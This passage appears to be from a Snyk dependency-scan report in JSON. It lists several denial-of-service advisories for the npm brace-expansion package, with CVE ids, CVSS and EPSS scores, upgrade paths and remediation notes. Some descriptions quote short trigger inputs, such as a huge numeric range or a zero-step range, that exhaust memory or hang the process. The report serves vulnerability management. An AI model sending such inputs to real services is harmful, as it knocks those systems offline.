Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": 